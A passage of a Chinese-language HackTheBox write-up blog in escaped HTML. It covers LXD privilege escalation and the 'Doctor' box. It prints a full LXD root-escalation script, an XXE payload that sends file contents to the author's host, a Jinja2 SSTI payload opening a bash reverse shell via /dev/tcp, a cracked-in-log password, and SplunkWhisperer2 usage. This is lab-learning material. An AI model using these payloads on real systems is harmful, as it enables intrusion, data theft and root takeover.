9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/usr/bin/env bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ----------------------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Authors: Marcelo Vazquez (S4vitar)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#9; Victor Lasa (vowkin)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ----------------------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 1: Download build-alpine =&amp;gt; wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 2: Build alpine =&amp;gt; bash build-alpine (as root user) [Attacker Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 3: Run this script and you will get root [Victim Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function helpPanel(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\nUsage:&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\t[-f] Filename (.tar.gz alpine file)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\t[-h] Show this help panel\n&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; exit 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function createContainer(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc image import $filename --alias alpine &amp;amp;&amp;amp; /snap/bin/lxd init --auto&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;[*] Listing images...\n&amp;#34; &amp;amp;&amp;amp; /snap/bin/lxc image list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc init alpine privesc -c security.privileged=true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc start privesc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc exec privesc sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cleanup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function cleanup(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -en &amp;#34;\n[*] Removing container...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc stop privesc &amp;amp;&amp;amp; /snap/bin/lxc delete privesc &amp;amp;&amp;amp; /snap/bin/lxc image delete alpine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34; [√]&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -o nounset&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -o errexit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;declare -i parameter_enable=0; while getopts &amp;#34;:f:h:&amp;#34; arg; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; case $arg in&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; f) filename=$OPTARG &amp;amp;&amp;amp; let parameter_enable+=1;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; h) helpPanel;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; esac&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ $parameter_enable -ne 1 ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; helpPanel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; createContainer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;再利用上面的教程生成 alpine-v3.8-i686-20241027_1315.tar.gz&lt;/p&gt;&#10;&lt;p&gt;然后把两个文件一起传到目标机器 执行&lt;/p&gt;&#10;&lt;p&gt;./46978.sh -f ./alpine-v3.13-x86_64-20210218_0139.tar.gz&lt;/p&gt;&#10;&lt;p&gt;就能成功提权 这里我卡了非常久&lt;/p&gt;&#10;&lt;p&gt;一半是因为生成alpine-v3.13-x86_64-20210218_0139.tar.gz这个文件一直失败&lt;/p&gt;&#10;&lt;p&gt;一半是因为提权成功执行cat什么命令不成功 直接就崩溃了 完全没办法 我还要一直重启然后重复命令到这一步&lt;/p&gt;&#10;&lt;p&gt;46978.sh这个文件反而简单 就是没获取到lxc和lxd给他们加个绝对路径就行&lt;/p&gt;&#10;&lt;p&gt;后面才发现我的操作有问题 根据46978.sh描述 我只要进入/mnt/root 就能查看所有文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0577.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束&lt;/p&gt;&#10;&lt;p&gt;也算是常规提权 只有一个tomcat的 manager-host没遇到过 还有个lxd 并不是意料之外的技术 通常都是找exp 读懂exp 然后打上去就行&lt;/p&gt;&#10;&lt;p&gt;只是第一次使用浪费的时间非常多 只能加强自己的搜索能力 仔细看payload&lt;/p&gt;&#10;&lt;h2 id="26doctor"&gt;&lt;a href="#26doctor" class="header-anchor"&gt;&lt;/a&gt;26.Doctor&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0578.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0579.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;网页收集到一个域名 加到host里&lt;/p&gt;&#10;&lt;p&gt;再次访问域名如下页面&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0580.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;注册一个账号就能直接进去&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0581.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0582.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;源码和目录爆破工具都提示了/archive 这个目录&lt;/p&gt;&#10;&lt;p&gt;但是他刚开始为空 没有东西&lt;/p&gt;&#10;&lt;p&gt;有意思的是在new message里面可以生成博客&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0583.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://doctors.htb/post/1" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/post/1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个可以看到那个1是干啥的 那个接口并没有sql注入或者什么其他的东西&lt;/p&gt;&#10;&lt;p&gt;当我新建了message之后&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://doctors.htb/archive" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/archive&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;会出现我新建的东西 这里我出现了很大的失误 我以为是XXE 尝试了很久 这里他没有回显 我尝试如下的方法试了很多一直失败 但是他是可以请求的&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/title&amp;gt;&amp;lt;/item&amp;gt;&amp;lt;!--?xml version=&amp;#34;1.0&amp;#34; ?--&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ENTITY example SYSTEM &amp;#34;/etc/passwd&amp;#34;&amp;gt; ]&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;data&amp;gt;&amp;amp;example;&amp;lt;/data&amp;gt;&amp;lt;item&amp;gt;&amp;lt;title&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/title&amp;gt;&amp;lt;/item&amp;gt;&amp;lt;!--?xml version=&amp;#34;1.0&amp;#34; ?--&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!ENTITY % file SYSTEM &amp;#34;file:///etc/hostname&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!ENTITY % eval &amp;#34;&amp;lt;!ENTITY &amp;amp;#x25; exfiltrate SYSTEM &amp;#39;http://10.10.16.19:5000/evil.dtd?x=%file;&amp;#39;&amp;gt;&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%eval;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%exfiltrate;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;item&amp;gt;&amp;lt;title&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;就是好像读取不到文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0584.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是能发起请求&lt;/p&gt;&#10;&lt;p&gt;算是个误区把 我尝试了非常多的payload 都不行 在搜了很多之后 我发现提示的貌似都是php和java的XXE 没有关于python的这个漏洞介绍和利用&lt;/p&gt;&#10;&lt;p&gt;其实在刚见到这个网站的时候 就whatweb过一次&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0585.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是貌似没什么东西&lt;/p&gt;&#10;&lt;p&gt;但是后面在搜索了之后发现python作为后端用flask搭建的时候 会存在ssti模板注入 突然就想起来了 python作为后端实际上可能就是会存在这个漏洞&lt;/p&gt;&#10;&lt;p&gt;先测试下看看存不存在&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0586.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;新建完访问&lt;/p&gt;&#10;&lt;p&gt;view-source:&lt;a class="link" href="http://doctors.htb/archive" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/archive&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0587.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没有问题 开始准备exp&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://payatu.com/blog/server-side-template-injectionssti/" target="_blank" rel="noopener"&#10; &gt;https://payatu.com/blog/server-side-template-injectionssti/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个博客的exp没有问题 直接构造payload上传上去就行&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{{request.application.__globals__.__builtins__.__import__(&amp;#39;os&amp;#39;).popen(&amp;#34;bash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/6666 &amp;lt;&amp;amp;1&amp;#39;&amp;#34;).read()}}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0588.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;拿到了shell&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0589.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始提权&lt;/p&gt;&#10;&lt;p&gt;一上来就看到了这个admin的用户&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0590.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个用户并不是我创建的 在我执行sudo -l的时候需要填写密码 目前的思路就是解开这个 然后sudo -l看看&lt;/p&gt;&#10;&lt;p&gt;$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0591.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了算法 bcrypt 直接用john跑就行了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0592.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;实际上我后面跑完了都没啥用 完全跑不出来 而且跑bcrypt太卡了 又太慢了&lt;/p&gt;&#10;&lt;p&gt;这条路根本走不通 开始尝试其他提权&lt;/p&gt;&#10;&lt;p&gt;suid和sudo都没有 家目录实际上还有一个用户shaun&lt;/p&gt;&#10;&lt;p&gt;但是又发现了一个用户 它的家目录为/opt/splunkforwarder 里面有个readme还有版本号&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0593.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;google了一下 这个程序就架设在8089端口 之前nmap扫到过 但是我测了半天一直没东西 就没管 可能提示就是越权到splunk&lt;/p&gt;&#10;&lt;p&gt;这个版本我并没有找到exp 但是根据下面这个网站的描述 只要能登陆进去貌似就能获得getshell&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/8089-splunkd" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/network-services-pentesting/8089-splunkd&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;我开始尝试找配置文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0594.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862" target="_blank" rel="noopener"&#10; &gt;https://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0595.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;无法读取 后续一直在看这个站点 并没有任何能渗透的地方 并且它是以root运行的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0596.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我开始上传linenum帮我看看 但是linenum并没有什么东西&lt;/p&gt;&#10;&lt;p&gt;我开始看group 结果发现很多日志我都可以看&lt;/p&gt;&#10;&lt;p&gt;find / -group adm 2&amp;gt;/dev/null -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0597.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我大概有了一些思路 80的网站或者8089的那个网站肯定有人登录 如果8089的网站是因为不知道路径以及账号密码才导致无法访问 那么检索所有配置文件 就能找到80和8089网站的密码 然后再进行下一步操作&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0598.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没有找到8089的 但是发现了一个密码&lt;/p&gt;&#10;&lt;p&gt;/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] &amp;ldquo;POST /reset_password?email=Guitar123&amp;rdquo; 500 453 &amp;ldquo;&lt;a class="link" href="http://doctor.htb/reset_password%22" target="_blank" rel="noopener"&#10; &gt;http://doctor.htb/reset_password&amp;rdquo;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Guitar123 开始尝试su&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0599.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功提权到shaun&lt;/p&gt;&#10;&lt;p&gt;所有的一切都指向了8089端口的splunkd&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0600.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我第一件事想的是要本地搭建隧道 但是本地也访问不了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0601.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;他开的是0.0.0.0 所以不存在只存在本地的情况 本地也无法访问&lt;/p&gt;&#10;&lt;p&gt;最后才发现我一直用的http协议&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0602.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功访问了&lt;/p&gt;&#10;&lt;p&gt;这里只有services和serviceNS可以访问 要求输入账号和密码 刚好我们有个shaun的账密&lt;/p&gt;&#10;&lt;p&gt;而且虽然我们看不了这个服务的passwd以及存在哪些用户 但是实际上在我之前搜索的时候 貌似splunkd会调用本地的/etc/passwd生成一个新用户用于登录&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0603.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功进来了&lt;/p&gt;&#10;&lt;p&gt;网上的getshell的教程有很多 他们也提到了这个app经常是由root运行的&lt;/p&gt;&#10;&lt;p&gt;但是根据所有的教程都是图形化的去上传apps 然后根据上传的文件内容来getshell&lt;/p&gt;&#10;&lt;p&gt;但是这里并没有任何图形化界面让我去点击 我只能寻找绝对路径 在一篇博客里我看到了 可以将app解压到本地 这样跟图形化点击是一个效果&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0604.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0605.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是并没有写入权限 目前的思路就是找到上传app的那个接口 或者 在本地接着提权到splunk&lt;/p&gt;&#10;&lt;p&gt;但是都不行 我开始去找poc&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0606.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/cnotin/SplunkWhisperer2&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;每次找到exp 我不会使用时 都会去搜索这个项目名称看看原理&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0607.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/" target="_blank" rel="noopener"&#10; &gt;https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个介绍没有啥作用 根据代码里面的参数构造poc&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;我这里用的是本地提权的脚本 先测试一下&lt;/p&gt;&#10;&lt;p&gt;python3 2.py &amp;ndash;scheme https &amp;ndash;port 8089 &amp;ndash;username shaun &amp;ndash;password Guitar123 &amp;ndash;payload &amp;lsquo;id &amp;gt; /tmp/1.txt&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0608.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;真没问题 